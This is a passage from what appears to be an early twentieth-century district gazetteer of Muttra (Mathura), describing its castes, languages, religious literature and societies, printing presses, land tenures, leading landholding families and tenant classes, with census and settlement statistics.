Next to them come Gujars amounting to 13,533 persons, chiefly in Chhata, Muttra and Mahaban. During the Mutiny the Gujars did considerable mischief and took a line of open rebellion. They were ulti­mately overpowered near Shergarh, and many of their villages were confiscated and given to Raja Gobind Singh of Hathras. In consequence of this a considerable emigration of Gujars took place, and in 1881 only 7,180 of them were enumerated in the district. Ten years later not more than 7,430 were recorded but it appears that since then many have returned to their ancestral homes or spread over and taken up new quarters in Mahaban. The four remaining castes with over 10,000 repre­sentatives are Barhais, 13,290; Nais, 13,000; Kumhars, 12,179; and Kahars, 10,724.

AHIRS

Muttra is, according to the tribal tradition, the cradle of the Ahir race. The Ahirs say that in the days of Krishna they were the village Banias of Brindaban, and that those who possessed 1,000 head of cattle were known as Nandbans and that those with less were called Gwalbans. They, however, number only 9,188, all told, in Muttra, the majority being Nandbans. This division prevails over the central Doab and Bundelkhand, and the Gwalbans prevail in the lower Doab. Ahirs are fewest in Mat, where they only number 456, and are relatively scarce in Mahaban and Chhata.

KAYASTHS

Kayasths, who number 8,841 persons, have much less power and influence in Muttra than they have in most districts, their place in petty offices being largely taken by Banias. There is no resident Kayasth landholder of importance.

DHUSARS

The other castes with over 5,000 members are Kachhis, Bhangis, Malis, Dhobis, Lodhars and Sonars, and of the remainder the only one which requires mention is the Dhusar. The Dhusar Bhargavas, as they are called, number 1,203 souls and are more numerous in Muttra than in any other district of the province except Banda. They take the first portion of their name from a hill called Dhusi or Dhosi near Narnaul, on the borders of Alwar, where their ancestor Chima or Chimand Rishi is said to have performed his devotion. They were formerly usually classed as a subcaste of Banias, but their pretensions to Brahminical origin are admitted by Brahmans themselves, and they are now commonly known as Bhargavas or"descendants of Bhrigu". Their head-quarters in western India are Rewari in Gurgaon, whence they have emigrated into neighbouring districts and acquired con­siderable property and influence. "They combine," says Mr. Whiteway, "the office aptitude of the Kayasth with the keen scent for money-making and the flinty-heartedness to a debtor characteristic of the Bania. They are, consequently, mostly hard landlords and wealthy men." They are noted for their rigid observance of religious ceremonies, and it is stated that none of their tribe have deserted the ancient religion for Jainism. Members of this caste were formerly heredit­ary qanungos of Muttra and Chhata, and they occasionally rose to high positions during the period of Muhammadan rule.

OCCUPATIONS

The majority of the inhabitants of Muttra are dependent more or less directly on agriculture for a means of support. The returns of the last census in 1901 show that 55.03 per cent. of the population were agriculturists. This figure, however, is well below the provincial average of 65.4 per cent. The industrial population amounted to 17.38 per cent. This class includes all those engaged in the preparation and supply of material substances, of which articles of food and drink accounted for 39.62 per cent. and textile fabrics and dress for 22.04 per cent. General unskilled labour, other than agricultural, made up 10.14 per cent., and personal and domestic service 7.69 per cent. Next came those who pursue a professional career, 3.17 per cent., followed closely by those who had means of subsistence independent of any occupation, 3.06 per cent. Commerce, transport and storage accounted for only 2.17 per cent; and at the bottom of the list were those who are employed in Govern­ment service and formed 1.36 per cent. This exhausts the entire population. The enumeration presents no remarkable feature.

LANGUAGE

The speech of the great mass of the population is that known as western Hindi, which is the common tongue of the districts on either side; and the returns of last census show that over 99 per cent. of the inhabitants spoke this language. The local dialect most in vogue differs from pure western Hindi in that the majority of the words in common use are derived direct from a Sanskrit source, Persian words being little used, and is known, after the country, as Braj Bhash. In its purest form Braj Bhasha is to be found in use in the chief places of religious pilgrimage, that is to say, in the middle and west of the district: to the east it becomes much more closely assimilated to pure western Hindi. The division of western Hindi known as Hindustani or Urdu accounted for 5 per cent. of those who spoke this form of the vernacular. The remaining dialects are not indigenous, but are spoken by immigrants. Thus 4,453 persons spoke Bengali, a high proportion due to the presence of large numbers of that people in Brindaban; 755 spoke English, 375 Gujarati, 240 Punjabi, 103 Rajasthani and the few others Pahari, Bihari and Gipsy dialects.

LITERATURE

The early literature of Muttra is very largely of a religious character, for here, in the city of Brindaban, were produced, in part at least, many of the works of Hari Das and other Hindu religious reformers or their disciples. The latter, however, were not in every case permanent residents of the district, and the only sect whose writings can be considered as essentially local are those of the Vallabhacharyas of Gokul. Vallabha­charya himself as we have seen did not live all his life at Gokul, but this place became the home of his son, Bithal Nath, a voluminous writer on theological subjects who had many pupils. One of the latter, by name Krishna Das, wrote a work called the Prem Ras about 1550. Apart from these religious writers there are a few names which deserve a passing mention.. One Sur Das, a blind poet, who was born in 1483 A.D., went to Akbar's court. He lived most of his life at the Gaoghat at Muttra and died at Gokul in 1563. Another poet of local fame was Bhagwan Das, who flourished about 1515 A.D. Brindaban, during the 17th and 18th centuries, produced three authors of some note; one, by name Senapati, a devotee born in 1623 A. D., wrote a work known as Kabya Kalpadrum; another, Priya Das, who flourished about 1712, was a religions poet; while a third, Brajbasi Das, about 1770, wrote the Braj Bilas, an account of Krishna's life. During the same period one Kumar Mani flourished at Gokul and produced a work on composition, called the Rasik-rasal. At the present day, too, the literary output of Muttra is chiefly of a religious description; though occasionally, verses and works on historical or educational matters are published. Madho Sudan Goswami, Radha Charan Goswami and Gobardhan Lal Goswami are three authors living at Brind­aban who have produced a number of religious writings. The first is also the author of the Atma Vidya, a work on mesmerism, the Basantill Kusrun, a life of Queen Victoria, and the Ammia Nunia Charitra, a life of Chaitanya. Other modern works which may be mentioned are the Puran Praman Sundarbh, a commentary on the Puranas in Sanskrit by Pandit Udai Pershad Deo Sharma; the Kuruvansa, a history of the Kura dynasty in Sanskrit, by Pandit Mukand Lal Deo Sharma; and a treatise on physic by Chaube Dip Ram.

LITERARY AND RELIGIOUS SOCIETIES

Besides works by individual authors, a certain number of publications are issued by literary societies; and, as these are also mainly of a religious character, no apology is needed for treating literary and religious societies together. There are three religious societies at Brindaban: that known as the Hitaishni Sabha, with a membership of about one hundred, aims at removing the discomforts of the resident Bengalis. The Vaishnava Dharma Pricharni Sabha has some three hundred members and is main­tained for the discussion of the religious principles of the sect whose name it bears: it meets fortnightly on the eleventh day according to the Hindu calendar. The Vidya Dharma Vivardharmi Sabha has some fifty members and meets every full moon: it has for its object the spread of Sanskrit literature. At Muttra a branch of the Theosophical Society, which has its headquarters at Benares, was started in 1891. Meetings are held every Sunday at a private house, but the attendance is small. The Nigam Agam Mandili, which was opened at Allahabad in 1894, strives to spread ancient and modern knowledge through the medium of the Hindi language. A large number of works are published by it, such as the Bhagti Darshan, Yoga Darsan, Guru Gita, and so forth; and it has a branch at Muttra. A local branch of the Shant Ashram, which is a sort of training school for ascetics, has been recently started and has attracted considerable support; while Swami Shivagan Acharya, its head, has written at Muttra some religious and moral treatises such as Papopan, Bal Shiksha and others. The Anjuman Islamia is a Muhammadan society which was established at Muttra in 1892 for the management of the Jama Masjid and the protection of the Muhammadan religion. Kunwar Itimad Ali Khan of Sadabad is the president, and the principal Musalman residents of the district belong to it. The executive committee meets weekly, and general meetings are held twice a year, the principal business being the management of the endowments of the mosque. The only other society which is of a purely literary character is that known as the Jubilee Association. It was founded at Muttra in 1887 to commemorate the jubilee of the late Queen-Empress: it has about fifty members and maintains a reading-room and library in a hired room.

NEWSPAPERS AND PRESSES

There are at present no newspapers published in Muttra. In 1900 there were four, with a limited circulation, which gradually failed for lack of subcribers. The only periodical publication is a religious magazine called the Nigam Agam Chandrika, published every two months from the Sudarshan Press by the Nigam Agam Mandili Society. Of printing presses there are fourteen in the district, thirteen being at Muttra and one at Brindaban. These are the Mambai-ul-Alm in Mandi Ram Das; the Muttra Press in Churiwala-ki-thok; the Vidya Vinodh at Samighat; the Shiam Kashi and Braj Chandrade presses in the Nai Bazar; the Bombay Mittra Press near the temple of Gobardhan Das; the Aiyaz Haidari in Katra Moti Lal; the Gujar Press near the house of Jyotishi Madho Lal; the Muttra Bhushan in the Satghara muhalla; the Bishwa Karma Press near the Holi ghat; the Star Press in the Sadr Bazar; the Hardil Aziz Press in the Bara of Jai Ram Das; and the SudarShan Press in the Bara of Seth Dwarka Das. The Press at Brindaban is known as the Deokinandan Press and is situated at the Bhanwar ghat.

PROPRIETARY TENURES

The land tenures prevailing in this district are the same as those found throughout the province of Agra and present no peculiar features. At the present time the district contains 887 villages divided into 2,684 separate estates, with an average area of 342 acres apiece. Of this number 612, representing 22.48 per cent. of the whole area, are held in single and 429, or 8.96, per cent. in joint zamindari tenure: 498 estates or 11.53 per cent. are held in perfect pattidari and 867 or 44.91 per cent. in imperfect pattidari, while 111 or 6.25 per cent. are bhaiyachara. Of the remainder, 166 estates are held revenue-free and one is the property of the Government. The proportions vary in different parts of the district. The single zamindari form of tenure is most common in Muttra tahsil, where it accounts for 36.96 per cent. of the land; in the other four tahsils the proportion ranges from 22.07 per cent. in Chhata to 13.02 per cent, in Mahaban. Similarly joint zamindari estates are most numerous in Muttra tahsil, the proportion of the land so held being 17.02 per cent.; next come Mat and Mahaban, where the propor­tions are 11.61 and 10.16 per cent. respectively. There are no estates of this description at all in Chhata. The perfect pattidari tenure is most frequently found in Mahaban and Sadabad, where 23.62 and 22.19 per cent. of the land respectively is held in it; while the imperfect form is commonest in Chhata and Mat, where such estates account for 63.76 and 54.42 per cent. of the soil respectively. In Mahaban and Sad­abad too the proportions rise as high as 45.08 and 38.49 per cent.; while in Muttra tahsil the proportion is only 22.77 per cent. In Sadabad 15.67 per cent, of the land is held in the bhaiyachara tenure, but nowhere else does the proportion so held exceed 7.39 per cent. and the tenure, as such, has almost disappeared now in Mahaban. Nearly one half of the revenue-free estates lie in the Muttra tahsil, where they account for 12.99 per cent. of the whole area. There are 42 in Mahaban and 40 in Chhata, making up 7.28 and 3.17 per cent. of those tahsils: six lie in Mat and only one in Sadabad.

The figures for mahals may be compared with those of an earlier date to show how far the tenures in which the land in the district is held have undergone a change. From a return prepared in 1883 it appears that there were at that time 1,375 separate estates in Muttra. Of these 478 were held in single or joint zamindari, 47 in perfect pattidari and 345 in imperfect pattidari tenure, while no less than 505 were classed as bhaiya­chara. The most remarkable point brought out by the compari­son is the large decrease in bhaiyachara estates and it is the only one that calls for further explanation. It is probable too that some of the estates classified as imperfect pattidari in the return of 1883 were in reality bhaiyachara estates; and consequently the decrease is larger than it appears to be at first sight. At that time the largest individual number of bhaiyachara estates existed in tahsil Mahaban. The number was large in Mahaban owing to the peculiar constitution of the Jat communities of Aira Khera, Ar-Lashkarpur, Madim, Sonkh, Sonai and several other villages: but many existed also in Chhata, where Jats are numerous. The tenure in which these estates were originally held was the bhaiyachara tenure to perfection. All the members of the brotherhood were regarded as descendants from a common stock. They shared in common, and all village transactions, including the payment of the village burdens and the distribution of the profits, were regulated by the custom of the brotherhood. Customs differed in different estates: in some ancestral shares were unknown, in others they were known and acted on. Where ancestral shares were unknown, a proprietor's rights in the estate were measured either by his actual cultivating possession or else by his separate possession as recorded in the khewat. In the latter case his share in the common land was governed by the proportion which his separate holding bore to the whole divided area. Where ancestral shares were known separate possession was generally recorded in the khewat, but sometimes it was not. Where it was recorded ancestral shares always governed rights in the common land and sayar receipts; but the separate possession according to the custom of the village might or might not be liable to rectification according to ancestral shares. Where separate possession was not recorded, a custom of separate cultivation always prevailed. For the distribution of the burdens also different customs were observed. In some estates the collections were so regulated that no profits at all remained. In such cases the revenue and expenses were paid by a bachh or rate. This bachh might either be paid by all alike, that is, both by tenants in the common land and by the landholders, or it might be paid by the landholders only. When paid by both tenants and landholders, this bachh was calculated according to the actual cultivation in the hands of each individual or according to the culturable area recognised as his specific share at the time of settlement. When the bachh was paid by the landholders only, the total revenue demand on and the common expenses of the village were first totalled, against this was set off the money collected as rent from the tenants, and the remainder of the burden was distributed among the landholders according to the share of each. In other cases rent rates as opposed to revenue rates were collected from tenants and landholders alike, and the profits remaining over after the discharge of the revenue and expenses, were distributed according to shares.

Of the origin of these tenures it is not necessary to speak at any length. Where ancestral shares govern the transactions of a community, all the sharers are or are assumed to be the descendants of one man, and their shares in the property are the result of the laws of inheritance. Where, however, this frac­tional share is either not known or only in part governs the owner's interest in the village, the idea of separate ownership appears to have gradually crystallized out of the crude arrange­ments which existed when each member of the brotherhood cultivated as much of the area as lay in his power and thought only of cultivating profit. But whatever system was adopted it was unlikely that the system of undivided joint ownership would long survive the introduction of fixed settlements for a term of years. There are several influences which under this arrangement would strongly operate in the direction of partition. For example there would be the desire to appropriate the whole profits of a share instead of dividing it with the brotherhood; or the introduction of a stranger into the community, as the result of the sale or mortgage of a share, who was out of touch or sympathy with the other members; or the necessity for greater industry and more intensive husbandry as the number of the community increased; or the anxiety to get rid of joint res­ponsibility. Thus, in process of time, the bhaiyachara tenure would naturally tend to pass into the pattidari; and the extent to which this has taken place during the last 25 years can be seen in part from the large increase in the number of pattidari estates.

PROPRIETARY CASTES

Of the various castes, Jats now hold the largest area, amounting to 240,611 acres or 26.2 per cent. of the total area, their holdings being larger than those of any other caste in every tahsil of the district. Next come Brahmans with 173,437 acres or 18.8 per cent., the second largest landholders in all tahsils except Chhata, where they are surpassed by Rajputs. The latter, who own 121,853 acres or 13.2 per cent. of the district, hold 21.5 per cent. of the area of the Chhata tahsil but form a very insignificant portion of the land-holding body in Mahaban. Fourth on the list come Banias with 85,930 acres or 9.3 per cent., their possessions being greatest in Mahaban, Mat and Muttra and smallest in Chhata. Musalmans own 44,843 acres or 4.9 per cent of the district: they are to be found as landlords in every tahsil, but they are most prominent in Sadabad. Next come Kayasths with 29,465 acres or 3.2 per cent., nearly two-thirds of this area being in Chhata but none of it in Mahaban; Dhusars, 16,460 acres, nearly all in Chhata; Marwari Brahmans, 11,456 acres in Chhata, Sadabad and Muttra; Gosains, 9,109 acres, nearly all in Muttra; and Khattris, 4,499 acres, in Muttra, Mat and Sadabad. The rest of the area of the district is divided among a large number of miscellaneousc astes, of which Bairagis, Mahajans, Jaiswars, Golabpuras, Ahirs, Gujars, Mewatis and Sonars may be mentioned. These figures may be compared with those prevailing at the time of last settlement in 1879 to show how far changes have taken place in the holdings of the various castes. Jats have slightly increased their holdings, which amounted in 1879 to 24.8 per cent.; so too have Brahmans, Rajputs and Banias, who owned at that time 17.9, 12.3, and 8.7 per cent., respectively. These gains have been made at the expense of Musalmans and the miscellaneous castes; but the increases are in each case small. On the whole singularly little change appears to have taken place in the composition of the proprietary body of Muttra.

LARGE PROPRIETORS

The largest estate in the district is a religious endowment, which is intimately connected with the leading family of the district. This family is known as that of the Muttra Seths. The great banking firm, of which the Muttra Seths are the representatives, was founded by a Gujarati Brahman of the Vallabhacharya persuasion. His real name was Gokul Das, but he was generally own by the sobriquet of Parikh Ji, that having been his official designation when he held the post of treasurer under the Gwalior Darbar. He accumulated immense wealth and, being childless and on bad terms with his only brother at his death in 1826, bequeathed the whole to Mani Ram, one of his subordinate agents and a Jaini by religion, for whom he had conceived a great affection. The will was fiercely contested by the brother, but after several years of litigation its validity was finally declared by the highest court of appeal. Mani Ram died in 1836, and the inheritance devolved on his eldest son, Seth Lakhmi Chand, who greatly distinguished himself in the Mutiny. On the latter's death in 1866 the management of affairs passed into the hands of his two brothers, Gobind Das and Radha Krishna, Seth Lakhmi Chand's son, Raghunath Das, having but little aptitude or talent for business. Before Lakhmi Chand's death however, under the influence of the learned scholar, Swami Rangacharya, Gobind Das and Radha Krishn had become converts to Vaishnavism and between 1845 and 1851 constructed, at a cost of 45 lakhs of rupees, the large temple of Rang Ji at Brindaban. On Radha Krishna's death in 1869 the sole surviving brother, Gobind Das, became the recognized head of the family. In acknowledgment of his many distinguished public services the companionship of the Star of India was conferred on him on January 1st, 1877, but he did not live long to enjoy the distinction: he died twelve months later, leaving, as his joint heirs, his two nephews Raghu­nath Das, son of Lakhmi Chand, and Lachhman Das, son of Radha Krishn. The latter received the personal title of Raja and the companionship of the Star of India. He died in 1900, leaving two sons, Seths Dwarka Das and Damodar Das, the latter of whom (a ward of court) now represents the firm. The prosperity of the house has very much declined. At a time of very grave pecuniary difficulty the Nawab of Rampur came to the rescue of Raja Lachhman Das with a large loan. The acts of public benefi­cence performed in past years by the Muttra Seths are very num­erous; and one of the managers, Narayan Das, received in 1880 a dress of honour from the Lieutenant-Governor at a public darbar at Agra in recognition of his services during the famine of 1877-78. The endowment of the temple of Rang Ji in this district consists of ten whole villages and parts of fifteen others assessed to a demand of Rs. 44,462. Three villages of the endowment were conferred on the temple by Raja Man Singh of Jaipur: and there are twenty others lying in the Agra district. The management of this endowment was handed over to Swami Rangachariya himself. In 1868, on account of the misconduct of his son Srinivasacharya, Swami Rangacharya transferred the management to a committee which was bound on his death to appoint a successor. The committee consisted of six members, of whom Seth Narayan Das was for many years the most active member, all the temple property being entered in his name.

THE LALA BABU ESTATE

The well-known property, called the"Lala Babu's" estate consists at the present time of 13 whole villages and parts of two others in Muttra, as well as a number of villages in Aligarh and Bulandshahr. The Muttra villages pay a revenue of Rs. 33,379. Krishna Chandra Sen, alias "the Lala Babu” was by cast a kayasth and was descended from a wealthy merchant and proprietor of Kandi in Murshidabad. He held office under the Government first in Burdwan and then in Orissa and, when about thirty years of age, came to settle in the holy land of Braj. Here his great uncle, Radha Gobind, had founded a temple of Radha Ballabh and a rest house for travellers: besides this he enclosed the sacred tanks at Radha-kund with handsome ghats and terraces of stone. When some forty years of age Krishna Chandra Sen renounced the world, and in the character of a Bairagi continued for two years to wander about the woods and plains of Braj, begging his bread from day to-day until the time of his death, which was caused by the kick of a horse at Gobardhan. In these rambles he was frequently accompanied by Mani Ram, father of the famous Seth Lakhmi Chand, who also had adopted the life of an ascetic. In the course of the ten years which the Lala Babu spent as a worldling in Muttra he contrived to buy up all the villages most noted as places of pilgrimage at an almost nominal price, on the assurance that he intended strictly to preserve the hallowed spots. The villages so acquired were fifteen in number, namely Jau, Nandgaon, Barsana, Sanket, Karahla, Garhi, Hathiya, Muttra, Jait, Maholi and Nabipur; and to these must be added the four Gujar villages of Pirpur, Gulalpur, Chamargarhi and Dhimri.

THE JAT FAMILIES OF MURSAN AND HATHRAS

The Jat families of Mursan and Hathras deserve special notice, for they are the only large landed proprietors now existing, who are recorded as having held property at the annexation. The estate owned by Raja Datt Prasad Singh Bahadur of Mursan in this district consists at the present time of twenty-one villages, owned wholly or in part and paying a revenue of Rs. 10,696; while that of his kinsman, Kunwar Mahendra Partab Singh, comprises eight whole villages assessed to Rs. 9,414 land revenue. The founder of the family was a Jat by name Makhan Singh who came to the neighbourhood of Mursan from Rajputana about 1600 A. D. His great-grandson, Nanda Ram, who bore also the title Faujdar, died in 1696, leaving 14 sons. The eldest son, Zulkaran Singh, having predeceased his father, the bulk of the property passed into the hands of the second son, Jai Singh, with whom was associated, until his death in 1750 A. D., the seventh son, Bhoj Singh. These conferred on Khush­hal Singh, son of Zulkaran, the two villages of Rahatpur and Mankroul for his support. When Khushhal Singh grew up to manhood he attracted the attention of the Wazir, Saadat Khan, and from him obtained the farm of the taluqas known as Mursan, Dayalpur, Gopi and others. He was succeeded by his son, Puhup Singh, who, after being several times driven from his estates, managed to recover and greatly extend them. Puhup Singh was the first of the family to assume the title of Raja and died in 1798, leaving the inheritance to his son, Raja Bhagwant Singh. Meanwhile the property of Jai Singh, second son of Nand Ram, had descended in the direct line to Thakur Naval Singh of Beswan and Thakur Daya Ram of Hathras. The power of the latter in 1803 was found to extend over the taluqas of Mat, Mahaban, Sonai, Raya, Hasangarh, Sahpau and Khandauli; while Bhagwant Singh held Sadabad and Sonkh. At the annexation Lord Lake left both chieftains in possession of these tracts; and for some years the British Government pursued the same policy, "as their resumption was considered to be calculated to excite dissatisfaction and it was an object of temporary policy to conciliate their confidence." The reluctance, however, on the part of the paramount power to enquire into the validity of the title by which its vassals held their estates was naturally construed as a confession of weak­ness: both chiefs claimed to be independent and assumed so menacing an attitude that it became necessary to dislodge them.

A force was accordingly despatched against them under Major-General Marshall. Mursan was reduced without difficulty, but Hathras had to be subjected to a regular siege. On February 21st, 1817 the place was invested and, on negotiations for sur­render falling through, fire was opened on it from forty-five mortars and three breaching batteries of heavy guns. On the evening of the same day a magazine exploded and caused such havoc that Daya Ram gave up all for lost and fled away by night, first to Bharatpur and ultimately to Jaipur. His fort was dismantled and his estates were all confiscated, but he was allowed a pension of Rs. 1,000 a month for his personal maintenance. On his death in 1841 he was succeeded by his son, Thakur Gobind Singh, who remained loyal and rendered considerable services at the Mutiny. On him were bestowed the title of Raja, a cash sum of Rs. 50,000 and eight confiscated Gujar villages in Chhata tahsil, besides five villages in Bulandshahr. Raja Gobind Singh died in 1861,, and his widow adopted Hargobind Singh, the son of Thakur Rup Singh of Jatoi, a descendant of Jai Singh. The adoption was vigorously opposed by Kesri Singh, son of Nek Ram, who as an illegitimate son of Thakur Daya Ram; but after its validity had been upheld the title of Raja was formally continued by the Government to Raja Har Narayan Singh from January 1st, 1877. Raja Har Narayan Singh died in 1895, and was succeeded by an adopted son, Kunwar Mahendra Partab Singh, a minor. The family have resided for many years at Brindaban. Of the Mursan branch little need be said. Raja Bhagwant Singh submitted to the orders of the Government; was succeeded by his son, Tikam Singh, who displayed conspicuous loyalty at the Mutiny; received a grant of several villages and, shortly before his death in 1878, was created a C.S.I. He was succeeded by his grandson, Raja Ghansham Singh, who, towards the end of his life, retired from public life and took up his residence at Muttra, where he died in 1902. Kunwar Niranjan Singh, who lives at Beohain in Mahaban, belongs to the Mursan branch of the family.

MUHAMMADAN FAMILIES

The oldest Musalman family in the district is that of the Saiyids of Mahaban. It claims descent from one Sufi Yahya, an adventurer of Meshed, who recovered the fort from the Hindus in the reign of Ala-ud-din. These Saiyids are not, however, in affluent circumstances. Their ancestral estate consists, in addition to part of the township of Mahaban, of the villages of Goharpur, Nagara Bharu and Shahpur Ghosna. In Sadabad resides the only Muhammadan family of any importance in the district. It is a branch of the well-known Lalkhani stock, the head of which resides in the Bulandshahr district. The Lalkhanis trace back their descent to one Kunwar Partab Singh, a Bargujar Rajput, who joined Prithviraj in his expedition against Mahoba. Eleventh in descent from him was Lal Singh, who received the title of Khan from the emperor Akbar. His grandson, Itimad Rai, embraced the faith of Islam in the reign of Anranzeb, and the seventh in descent from that grandson, Nahar All Khan, joined his nephew Dunde Khan in opposing the English, thereby forfeiting his estates, which were con­ferred on his relative Mardan Ali Khan, in or about 1807 A. D. It was the son of Dunde Khan, by name Ranmast Khan, who was given in 1803 the farm of the Nohjhil pargana. Two others of his sons obtained villages in the same pargana by purchase, but were driven out by the villagers in the Mutiny, and then joined the rebels. Their estates were accord­ingly confiscated after the Mutiny. The eldest son of Mardan Ali Khan was called Husain Ali Khan and inherited the Sadabad property, which had been purchased by his father; the second, Wazir Ali Khan, received the Danpur estate; the third, Muhammad Zahur Ali Khan, obtained Dharampur; the fourth, Murad Ali Khan, received Pahasu; and the youngest, Muhammad Mahmud Ali Khan, was given Chhitari. Husain Ali Khan, who is the only one that concerns us here, died childless, and the property passed to his widow, Musammat Hakim-un-nisa. It was managed on her behalf by her nephew Kunwar Irshad Ali Khan, who died in 1876. She was succeeded by his son Itimad Ali Khan. The latter is the present head of the family in the district and shares the property with his brother, Kunwar Latafat Ali Khan. The family,in commemoration of their descent, retain the titles of Kunwar and Thakurani and observe many old Hindu usages in their marriage and other social customs. The following table gives the pedigree of the family and shows its relationship to the houses of Pahasu and Chhitari. The estate of Kunwar Itimad Ali Khan is at present under the management of the Court of Wards and consists of two whole villages and parts of three others in Mat and Sadabad, assessed to revenue of Rs. 5,273. That of Kunwar Latafat Ali Khan comprises four whole villages and parts of twelve others, all except one in Sadabad, assessed to Rs. 19,718.

OTHER LARGE PROPRIETORS

There are several other large proprietors in Muttra who deserve mention. Their estates have all been for the most part acquired in fairly recent times. Babu Kalyan Singh of Muttra, the heir of Lala Jagan Prashad, an honorary magistrate, owns eight whole villages and parts of 36 others in all tahsils except Sadabad; on these he pays a revenue demand of Rs. 27,612 a year. The estates of Bohra Gajadhar Singh of Jagdishpur lie, with the exception of one village, wholly in Mahaban. He owns portions of 33 villages and pays a revenue demand of Rs. 28,868. Another large property is recorded in the name of the temple of Thakur Dwarka Dhis at Muttra. The temple owns 13 whole villages in Mat and one in Mahaban, besides shares in 17 others (13 in Mat and 4 in Muttra), assessed to a revenue of Rs. 21,144. Lalas Sita Ram and Kausal Kishor of Muttra own one whole village and shares in nine others in Sadabad, assessed to a demand of Rs. 4,513. The Raja of Awa, whose estates lie for the most part in the Etah district, has five whole villages in the Muttra tahsil, on which a demand of Rs. 12,704 is paid. Seth Bhikh Chand of Muttra pays Rs. 10,143 in revenue on two whole villages and portions of nine others, and the Chattarbhuj temple at Muttra a demand of Rs. 6,931 on two whole villages, all in the Muttra tahsil. Other smaller proprietors are Muhammad Mohsin Khan of Karahri, Rs. 4,220; Bohra Ram Lal of Sonkh, Rs. 3,481; and Babu Narayan Das of Brindaban, Rs. 2,737.

CULTIVATING TENURES

Of the total holdings area the proportion tilled by the proprietors themselves in 1907-08 was 26.71 per cent., while of the rest 72.01 per cert. was in the possession of rent-paying tenants, and the remaining 1.28 per cent. was held rent-free. The figures for the different tahsils exhibit considerable vari­ations. The greatest extent of proprietary cultivation in any subdivision is 44.60 per cent. in Chhata, while in Mat the proportion is as high as 30.48 per cent. On the other hand it is only between 16 and 17 per cent. in Muttra, Mahaban and Sadabad. There appears to be a constant tendency for this area to diminish. Thus, omitting Mat, the records for which had been destroyed at the Mutiny on the one hand and pargana Kosi in which the land cultivated by proprietors was exceptionally large on the other, Mr. Whiteway, the settlement officer, found that the area of proprietary cultivation in the district was 35.71 per cent. in 1848-50, when the records were first revised, and only 30.17 per cent. at the time of the settlement in 1879. When the latter was carried out, the proportion of sir land was 62 per cent. in Kosi and over 44 per cent. in Chhata, while in Mat it was over 30 per cent. It is clear, therefore, that there has been but little change in the area tilled by proprietors in the two northern most tahsils of the district, and that the loss has almost wholly fallen on tahsils Muttra, Mahaban and Sadabad. In Mahaban the change during thirty years has been from 28.94 to 16.23 per cent., and in Muttra and Sadabad it has been almost as large. The chief reasons to be assigned for this change are on the one hand a more accurate system of record, land held by tenants being frequently in the past recorded as sublet sir or khud­kasht; and on the other the transfers of proprietary rights to non-resident and non-cultivating owners. Moreover proprietors appear now to find it more profitable to lease some of their land and confine their own farms to smaller areas. No sta­tistics of the number of holders in sir land are available at the present time, but the practice among proprietors of letting land to tenants in preference to cultivating it themselves had begun before the last settlement. Mr. Whiteway found that the average sir holding had decreased from 9.5 to 8 acres on the east of the Jumna and from 9.8 to 7.8 acres on the west of that river. These returns only serve to illustrate the process at work, for the figures for the Mat and Kosi parganas were excluded; and it is there that self-cultivating proprietors are most numerous, the distinction between proprietors and tenants being in many villages not well defined. As evidence of the increasing tendency of proprietors to let their land in preference to cultivating it themselves it may be noted that, in 1907-08, the proportion of land sublet was no less than 23 per cent. of the total holdings area in Sadabad, over 22 per cent. in Mahaban, between 15 and 16 per cent. in Muttra and Mat, and only 11 per cent. in Chhata.

RENT PAYING TENANTS

The rest of the cultivating body is divided into the two great classes of tenants-at-will, and tenants with rights of occu­pancy. At the present time the former hold 48.27 and the latter 23.74 per cent. of the total holdings area, or if those tenants who have held the same land for twelve years or more be included under the head of occupancy, the proportions are 39 for occupancy-tenants and 33 per cent. for tenants-at­will. The proportions of land held by different classes of tenants have greatly changed during the past sixty years. In 1848 occupancy-tenants held but 18.9 per cent. of the area, excluding Mat and Kosi, and at the last settlement over 36 per cent. On the latter occasion it was remarked that one of the most striking features of the tenures of the district was the large area held by tenants with occupancy rights, and their increase was further illustrated by the proportion of holders. Thus it was found that the proportion of holders of land in occupancy right in the district, excluding Mat and Kosi, had increased from 15.4 per cent. in 1848—50 to 33.4 per cent., in 1879 east of the Jumna, and from 20.8 to 40.9 per cent. west of that river. Since 1879 the increase in this area has been small, even including in the occupancy area the land held by tenants-at-will for over twelve years. The area is largest in Mahaban, where it amounts to 47 per cent.; while both in Muttra and Sadabad it is 43 per cent. It is lowest in Mat and Chhata, with 32 and 35 per cent. respectively. The increase has been greatest in Sadabad, where it amounts to 16 per cent., and next comes Chhata with 12 per cent., while in Muttra there has been a slight decrease of 3 per cent. If the land held by tenants-at-will for over twelve years be not in­cluded in the occupancy area, it is found that the area held by non-occupancy tenants has increased since last settlement by over 30 per cent. in Muttra; over 21 per cent. in Mahaban; 10 per cent. in Sadabad; 8 per cent. in Chhata and about 4 per cent. in Mat. The two last are the tahsils in which the area tilled by proprietors themselves has remained practically un­changed; and the figures further illustrate the fact that in these parganas less of the cultivation has been abandoned to tenants than in Muttra, Mahaban and Sadabad.

CULTIVATING CASTES

The chief cultivating castes are Jats, Brahmans, Rajputs, Chamars, Banias and Musalmans. In the trans-Jumna tahsils Jats hold a far larger area, whether as cultivating proprietors or as tenants, than any other caste. Next to them come Brah­mans, Rajputs and Chamars. West of the Jumna Jats still hold the first place: but Rajputs are second on the list. Taken as a whole, Jats, Brahmans and Rajputs cultivate about 80 per cent. of the whole area on the left bank and about 72 per cent. on the right bank of the river. Jats prevail in northern Chhata, northern Mat, Muttra, Mahaban and Sadabad west of the Karwan river. Rajputs are the chief cultivators in southern Mat and Chhata, while Brahmans pre-dominate in Sahpau, east of the Karwan river. Chamars hold large areas in Sadabad, Mahaban, Muttra, Chhata and northern Mat; while Banias and Musalmans are found mostly in Sadabad and Mahaban. The rest of the cultivating body comprises a host of miscellaneous castes such as Gadariyas, Ahirs, Kachhis, Barhais, Mullahs and Nais. They are distributed over all tahsils.

RENTS

